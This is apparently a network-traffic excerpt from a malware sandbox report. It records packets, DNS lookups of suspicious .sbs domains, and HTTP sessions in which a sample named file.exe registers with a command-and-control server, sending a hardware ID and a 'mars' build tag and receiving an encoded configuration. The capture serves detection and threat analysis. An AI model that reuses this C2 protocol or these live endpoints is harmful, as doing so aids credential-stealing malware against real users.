Nov 25, 2024 12:09:04.527721882 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:04.527723074 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.527733088 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.527749062 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.527760029 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.527770042 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.527780056 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.527808905 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:04.527808905 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:04.527808905 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:04.527810097 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:04.527838945 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:04.528142929 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528152943 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528171062 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528182030 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528191090 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528192043 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:04.528202057 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528211117 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528218985 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:04.528219938 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528230906 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528237104 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:04.528244972 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528249979 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:04.528254986 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528264046 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528275013 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528275967 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:04.528285027 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528295040 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528295994 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:04.528306007 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528315067 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528317928 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:04.528326035 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528331041 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:04.528336048 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528347969 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528353930 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:04.528357983 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528367996 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528381109 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528387070 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:04.528387070 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:04.528395891 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528404951 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528405905 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:04.528418064 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528429031 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528434992 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:04.528438091 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528446913 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528458118 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528462887 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:04.528467894 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528476954 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528481007 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:04.528486967 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528496027 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528500080 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:04.528506041 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528517008 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528525114 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:04.528527021 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528559923 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:04.528574944 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:04.528605938 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528616905 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528633118 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528641939 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528650999 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528652906 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:04.528661966 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528672934 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528676033 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:04.528695107 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528704882 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528712034 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:04.528712988 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:04.528743982 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:04.528753042 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:04.528858900 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:09:04.528912067 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:09:04.777117014 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:09:04.777618885 CET	49835	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:09:04.896687984 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:09:04.897247076 CET	80	49835	185.215.113.206	192.168.2.8
Nov 25, 2024 12:09:04.897330046 CET	49835	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:09:04.897680044 CET	49835	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:09:05.017693043 CET	80	49835	185.215.113.206	192.168.2.8
Nov 25, 2024 12:09:05.825081110 CET	49778	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:09:05.825110912 CET	443	49778	172.64.41.3	192.168.2.8
Nov 25, 2024 12:09:05.825200081 CET	49773	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:09:05.825218916 CET	443	49773	172.64.41.3	192.168.2.8
Nov 25, 2024 12:09:05.825294971 CET	49775	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:09:05.825297117 CET	49776	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:09:05.825301886 CET	443	49775	172.64.41.3	192.168.2.8
Nov 25, 2024 12:09:05.825303078 CET	443	49776	172.64.41.3	192.168.2.8
Nov 25, 2024 12:09:05.825436115 CET	49777	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:09:05.825444937 CET	49774	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:09:05.825462103 CET	443	49777	172.64.41.3	192.168.2.8
Nov 25, 2024 12:09:05.825464964 CET	443	49774	172.64.41.3	192.168.2.8
Nov 25, 2024 12:09:05.825768948 CET	49836	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:05.825783968 CET	443	49836	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:05.825992107 CET	49836	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:05.826227903 CET	49836	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:05.826240063 CET	443	49836	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:06.773951054 CET	80	49835	185.215.113.206	192.168.2.8
Nov 25, 2024 12:09:06.774595976 CET	49835	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:09:07.035975933 CET	443	49836	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:07.036401033 CET	49836	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:07.036423922 CET	443	49836	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:07.037434101 CET	443	49836	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:07.037602901 CET	49836	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:07.037995100 CET	49836	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:07.038052082 CET	443	49836	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:07.038209915 CET	49836	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:07.083340883 CET	443	49836	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:07.092668056 CET	49836	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:07.092675924 CET	443	49836	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:07.139539003 CET	49836	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:07.470252991 CET	443	49836	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:07.470273972 CET	443	49836	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:07.470349073 CET	443	49836	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:07.470376968 CET	49836	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:07.470460892 CET	49836	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:07.473242998 CET	49836	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:07.473258972 CET	443	49836	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:07.479232073 CET	49837	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:07.479269981 CET	443	49837	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:07.479420900 CET	49837	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:07.479615927 CET	49837	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:09:07.479629040 CET	443	49837	104.117.182.56	192.168.2.8
Nov 25, 2024 12:09:07.729906082 CET	443	49789	23.44.201.21	192.168.2.8
Nov 25, 2024 12:09:07.729995966 CET	443	49789	23.44.201.21	192.168.2.8
Nov 25, 2024 12:09:07.730137110 CET	49789	443	192.168.2.8	23.44.201.21
Nov 25, 2024 12:09:08.443967104 CET	443	49794	23.44.201.23	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 25, 2024 12:08:27.069842100 CET	192.168.2.8	1.1.1.1	0x5778	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:27.070008039 CET	192.168.2.8	1.1.1.1	0x7087	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 25, 2024 12:08:34.276438951 CET	192.168.2.8	1.1.1.1	0xad27	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:34.276639938 CET	192.168.2.8	1.1.1.1	0x7161	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 25, 2024 12:08:38.729958057 CET	192.168.2.8	1.1.1.1	0x8f51	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:38.730164051 CET	192.168.2.8	1.1.1.1	0xc56c	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 25, 2024 12:08:41.815366983 CET	192.168.2.8	1.1.1.1	0x577d	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:41.815633059 CET	192.168.2.8	1.1.1.1	0x9161	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 25, 2024 12:08:42.075768948 CET	192.168.2.8	1.1.1.1	0xe9b0	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:42.076214075 CET	192.168.2.8	1.1.1.1	0x10b2	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 25, 2024 12:08:43.464555025 CET	192.168.2.8	1.1.1.1	0xdea9	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:43.464710951 CET	192.168.2.8	1.1.1.1	0x2b18	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 25, 2024 12:08:43.465053082 CET	192.168.2.8	1.1.1.1	0x126e	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:43.465246916 CET	192.168.2.8	1.1.1.1	0x8db	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 25, 2024 12:08:43.470552921 CET	192.168.2.8	1.1.1.1	0x9305	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:43.470813990 CET	192.168.2.8	1.1.1.1	0xe22c	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 25, 2024 12:08:46.657329082 CET	192.168.2.8	1.1.1.1	0x74f1	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:46.657330036 CET	192.168.2.8	1.1.1.1	0x6635	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 25, 2024 12:08:46.657927990 CET	192.168.2.8	1.1.1.1	0x6f73	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:46.658247948 CET	192.168.2.8	1.1.1.1	0x6726	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 25, 2024 12:09:42.827641010 CET	192.168.2.8	1.1.1.1	0xaaed	Standard query (0)	deff.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:09:42.827779055 CET	192.168.2.8	1.1.1.1	0xaf83	Standard query (0)	deff.nelreports.net	65	IN (0x0001)	false
Nov 25, 2024 12:10:15.776022911 CET	192.168.2.8	1.1.1.1	0x1090	Standard query (0)	property-imper.sbs	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:10:15.916595936 CET	192.168.2.8	1.1.1.1	0xc838	Standard query (0)	frogs-severz.sbs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 25, 2024 12:08:27.207456112 CET	1.1.1.1	192.168.2.8	0x7087	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 25, 2024 12:08:27.208163023 CET	1.1.1.1	192.168.2.8	0x5778	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:34.414218903 CET	1.1.1.1	192.168.2.8	0x7161	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:08:34.414412022 CET	1.1.1.1	192.168.2.8	0xad27	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:08:34.414412022 CET	1.1.1.1	192.168.2.8	0xad27	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:38.868577003 CET	1.1.1.1	192.168.2.8	0x8f51	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:08:38.877257109 CET	1.1.1.1	192.168.2.8	0xc56c	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:08:38.879844904 CET	1.1.1.1	192.168.2.8	0xae95	No error (0)	svc.ha-teams.office.com	mira-tmc.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:08:38.879844904 CET	1.1.1.1	192.168.2.8	0xae95	No error (0)	mira-tmc.tm-4.office.com		52.123.243.184	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:38.879844904 CET	1.1.1.1	192.168.2.8	0xae95	No error (0)	mira-tmc.tm-4.office.com		52.123.243.186	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:38.879844904 CET	1.1.1.1	192.168.2.8	0xae95	No error (0)	mira-tmc.tm-4.office.com		52.123.243.176	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:38.879844904 CET	1.1.1.1	192.168.2.8	0xae95	No error (0)	mira-tmc.tm-4.office.com		52.123.243.183	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:38.879844904 CET	1.1.1.1	192.168.2.8	0xae95	No error (0)	mira-tmc.tm-4.office.com		52.123.243.185	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:38.879844904 CET	1.1.1.1	192.168.2.8	0xae95	No error (0)	mira-tmc.tm-4.office.com		52.123.243.182	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:38.879844904 CET	1.1.1.1	192.168.2.8	0xae95	No error (0)	mira-tmc.tm-4.office.com		52.123.243.181	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:38.879844904 CET	1.1.1.1	192.168.2.8	0xae95	No error (0)	mira-tmc.tm-4.office.com		52.123.243.179	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:39.549766064 CET	1.1.1.1	192.168.2.8	0x1298	No error (0)	b-0005.b-dc-msedge.net		13.107.9.158	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:39.762307882 CET	1.1.1.1	192.168.2.8	0xeeb1	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:08:39.838320017 CET	1.1.1.1	192.168.2.8	0xa87f	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:08:39.838320017 CET	1.1.1.1	192.168.2.8	0xa87f	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:41.953506947 CET	1.1.1.1	192.168.2.8	0x9161	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:08:42.054173946 CET	1.1.1.1	192.168.2.8	0x577d	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:08:42.212724924 CET	1.1.1.1	192.168.2.8	0xe9b0	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:08:42.212724924 CET	1.1.1.1	192.168.2.8	0xe9b0	No error (0)	googlehosted.l.googleusercontent.com		172.217.19.225	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:42.288423061 CET	1.1.1.1	192.168.2.8	0x10b2	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:08:43.601592064 CET	1.1.1.1	192.168.2.8	0xdea9	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:43.601592064 CET	1.1.1.1	192.168.2.8	0xdea9	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:43.601845980 CET	1.1.1.1	192.168.2.8	0x126e	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:43.601845980 CET	1.1.1.1	192.168.2.8	0x126e	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:43.603974104 CET	1.1.1.1	192.168.2.8	0x2b18	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 25, 2024 12:08:43.604640007 CET	1.1.1.1	192.168.2.8	0x8db	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 25, 2024 12:08:43.607794046 CET	1.1.1.1	192.168.2.8	0x9305	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:43.607794046 CET	1.1.1.1	192.168.2.8	0x9305	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:43.607999086 CET	1.1.1.1	192.168.2.8	0xe22c	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 25, 2024 12:08:45.411751032 CET	1.1.1.1	192.168.2.8	0xa917	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:08:45.411751032 CET	1.1.1.1	192.168.2.8	0xa917	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:46.795115948 CET	1.1.1.1	192.168.2.8	0x74f1	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:46.795115948 CET	1.1.1.1	192.168.2.8	0x74f1	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:46.795115948 CET	1.1.1.1	192.168.2.8	0x74f1	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:46.795115948 CET	1.1.1.1	192.168.2.8	0x74f1	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:08:46.795408964 CET	1.1.1.1	192.168.2.8	0x6f73	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:08:46.795615911 CET	1.1.1.1	192.168.2.8	0x6726	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:09:42.964910030 CET	1.1.1.1	192.168.2.8	0xaf83	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:09:43.067375898 CET	1.1.1.1	192.168.2.8	0xaaed	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 12:10:15.914659023 CET	1.1.1.1	192.168.2.8	0x1090	Name error (3)	property-imper.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:10:16.054248095 CET	1.1.1.1	192.168.2.8	0xc838	No error (0)	frogs-severz.sbs		104.21.88.250	A (IP address)	IN (0x0001)	false
Nov 25, 2024 12:10:16.054248095 CET	1.1.1.1	192.168.2.8	0xc838	No error (0)	frogs-severz.sbs		172.67.155.47	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	185.215.113.206	80	2700	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 12:08:18.269388914 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 25, 2024 12:08:19.655553102 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 12:08:19.658701897 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKEGDHCFCAAECAKECBAF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 35 35 34 44 39 41 45 41 46 32 39 34 32 36 36 34 39 38 37 32 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 44 48 43 46 43 41 41 45 43 41 4b 45 43 42 41 46 2d 2d 0d 0a Data Ascii: ------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="hwid"D554D9AEAF294266498721------JKEGDHCFCAAECAKECBAFContent-Disposition: form-data; name="build"mars------JKEGDHCFCAAECAKECBAF--
Nov 25, 2024 12:08:20.122040033 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:19 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6a 68 69 4d 6a 41 33 4e 57 4d 79 4f 44 4e 68 5a 44 55 78 4d 44 4d 77 4e 6a 68 68 5a 54 56 6c 4d 7a 49 31 4f 47 46 6c 5a 6d 55 33 5a 47 59 30 4d 7a 49 31 5a 44 56 6d 5a 6d 51 79 4e 6a 68 6d 4e 7a 49 35 4f 54 63 34 59 7a 52 69 59 57 49 32 5a 6a 55 31 5a 44 6c 69 4e 44 63 30 4d 44 45 79 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YjhiMjA3NWMyODNhZDUxMDMwNjhhZTVlMzI1OGFlZmU3ZGY0MzI1ZDVmZmQyNjhmNzI5OTc4YzRiYWI2ZjU1ZDliNDc0MDEyfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 25, 2024 12:08:20.146229982 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJDBAAAEHIEGCAKFHCG Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 38 62 32 30 37 35 63 32 38 33 61 64 35 31 30 33 30 36 38 61 65 35 65 33 32 35 38 61 65 66 65 37 64 66 34 33 32 35 64 35 66 66 64 32 36 38 66 37 32 39 39 37 38 63 34 62 61 62 36 66 35 35 64 39 62 34 37 34 30 31 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 